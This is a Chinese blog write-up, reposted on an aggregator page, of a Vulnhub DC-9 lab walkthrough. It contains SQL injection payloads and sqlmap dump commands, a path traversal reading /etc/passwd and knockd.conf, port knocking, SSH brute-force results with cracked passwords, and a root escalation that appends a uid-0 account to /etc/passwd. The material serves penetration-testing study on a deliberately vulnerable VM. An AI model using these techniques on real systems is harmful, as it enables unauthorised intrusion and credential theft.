IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> Vulnhub靶机渗透学习——DC-9 -> 正文阅读

[网络协议]Vulnhub靶机渗透学习——DC-9

本文仅个人学习所做笔记,仅供参考,有不足之处请指出!

vulnhub靶机

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
靶机DC9 还是老样子只有拿到root权限才可以发现最终的flag。
Vulnhub靶机下载:
官网地址:[https://download.vulnhub.com/dc/DC-9.zip]
Vulnhub靶机安装:
下载好了把安装包解压 然后试用VMware即可。

环境准备

攻击机:kali
靶机:DC-9
同一局域网段

DC-9靶机漏洞详解

信息收集

打开kali和DC-9靶机,可以看到它是需要登录账户密码的
在这里插入图片描述
接下来对它进行信息收集
在kali上使用nmap扫描整个虚拟机网段的存活主机:

nmap -sP -PI -PT 192.168.232.0/24

在这里插入图片描述

可以看到通过排除,靶机的ip为:192.168.232.136
确定IP后在通过nmap扫描其主机信息:

nmap -sV -Pn 192.168.232.136

在这里插入图片描述
可以看到靶机开放了80端口但22端口是filtered的(后面会利用到),这里可以先用浏览器访问一下80端口,进行框架识别。
在这里插入图片描述
发现无框架的页面,接下来探查一下页面,看是否存在web漏洞,先用dirseach进行扫描,没有发现可以利用的文件:
在这里插入图片描述

漏洞利用

测试过程

接下来可以测试一下搜索框和登录界面是否存在sql注入漏洞,测试:

1' and 1=1#
1' and 1=2#

这里会发现两条语句都没回显出信息
在这里插入图片描述
这里并不代表着不存在sql注入漏洞,可能是web服务器屏蔽了回显报错信息,也就是不会报错,这个时候我们就无法判断闭合形式是否为单引号等,只能盲猜一手,而且因为不能报错,也就无法使用order by去判断查询字段长度,但还可以使用union select来判断。
首先盲猜为单引号闭合:

1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
1' union select 1,2,3,4#
1' union select 1,2,3,4,5#
1' union select 1,2,3,4,5,6#

在这里插入图片描述
当查询6个字段时出现了数据,可以判断这里是存在SQL注入漏洞的。
当然这里可以使用1’ or 1=1#来直接恒等于真,爆出查询语句的内容。也是可以判断这里存在SQL注入漏洞。
在这里插入图片描述
还可以用漏洞扫描工具来测试是否存在漏洞,这里所使用的的Xray。
在这里插入图片描述
在这里插入图片描述

sqlmap爆数据库

接下来竟然知道这里存在字符型sql注入漏洞,我们使用sqlmap工具来爆出我们所需要的数据库信息:
1、爆数据库名,由于是POST请求发送数据,所以这里指定–date参数为search

sqlmap -u 'http://192.168.232.136/results.php' --data 'search=1' --dbs --batch

在这里插入图片描述
2、爆staff数据库表名

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff --tables --batch

在这里插入图片描述
3、爆users表的字段名

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff -T Users --columns --batch

在这里插入图片描述
4、获取字段数据

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D Staff -T Users -C "UserID,Username,Password" --dump --batch

在这里插入图片描述
5、md5解密
https://www.somd5.com/
在这里插入图片描述
6、同样按照上述步骤获取users数据库的信息

sqlmap -u 'http://192.168.232.136/results.php' --data "search=1" -D users -T UserDetails -C username,password,id --dump --batch

在这里插入图片描述

任意文件读取漏洞

通过sql注入漏洞,获取了管理员账户和密码,登录管理员后台,发现页面有个提示:File does not exist显示文件不存在:
在这里插入图片描述
测试一下看是否存在文件包含漏洞,这里可以用wfuzz工具爆出是file参数:

?file=../../../../etc/passwd

在这里插入图片描述
接下来不知道怎么搞了,去网上找了一些文章这里,发现这里接下来需要利用knockd服务https://zhuanlan.zhihu.com/p/210177505
通过/proc/sched_debug 来查看Linux系统中任务的调度情况,发现了knockd进程:
在这里插入图片描述
knockd 服务的默认配置路径:/etc/knockd.conf
然后使用文件包含漏洞遍历一下,获得ssh开门密码 sequence = 7469,8475,9842
在这里插入图片描述
然后安装knock工具,对获取的端口(开门密码)实现碰撞,可以看到成功开启了ssh端口:

apt install knockd
knock 192.168.232.136 7469 8475 9842
或者
nmap -sV 192.168.232.136 -p 7469 
nmap -sV 192.168.232.136 -p 8475 
nmap -sV 192.168.232.136 -p 9842
nmap -sV 192.168.232.136

在这里插入图片描述

ssh爆破

在开放ssh端口后,需要尝试通过用户名、密码登录,这里我们可以根据通过sql注入爆出的users库UserDetails表中的字段信息,将username放入user.txt,将password放入pass.txt来爆破ssh:
在这里插入图片描述

[22][ssh] host: 192.168.232.136 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: janitor password: Ilovepeepee

爆破出来有3个用户可用,通过ssh登录三个账号进行信息收集

信息收集

爆破出来有3个用户可用,通过ssh登录三个账号进行信息收集:

ls -al	查看用户文件
sudo -l		查看root权限
history		查看历史命令

1、chandlerb
在这里插入图片描述
2、 joeyt
在这里插入图片描述
3、janitor
在这里插入图片描述
经过测试发现,在 janitor 用户登录的时候,在.secrets-for-putin发现了一些新的密码信息。

二次ssh爆破

将新获取的密码信息再放入pass1.txt中,再次进行ssh爆破:
在这里插入图片描述

[22][ssh] host: 192.168.232.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.232.136 login: fredf password: B4-Tru3-001

可以看到这里又新发现了一个用户fredf,按上述命令继续对fredf进行信息收集,看是否能发现敏感信息:
在这里插入图片描述
在查看权限时,发现一个test路径。经过查看发现test是一个python文件,接下来使用查找命令,查看这个python文件:
在这里插入图片描述
经过查看发现这个py文件的大致内容就是将参数1的内容写入参数2中,接下来尝试进行提权。

本地提权

先openssl passwd创建一个新用户和密码

openssl passwd -1 -salt admin admin
-1 #使用md5加密算法
-salt #自动锚入一个随机参数作为文件内容加密

在这里插入图片描述
然后构造成/etc/passwd下的格式,保存在pass文件中

echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> pass

再运行刚刚发现的test.py将pass写入到/etc/passwd

sudo /opt/devstuff/dist/test/test pass /etc/passwd

切换为admin用户获取flag
在这里插入图片描述
参考文章:

http://t.csdn.cn/ZI6F9
https://zhuanlan.zhihu.com/p/210177505

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-07-05 23:42:56  更:2022-07-05 23:43:19 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/28 20:27:33-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计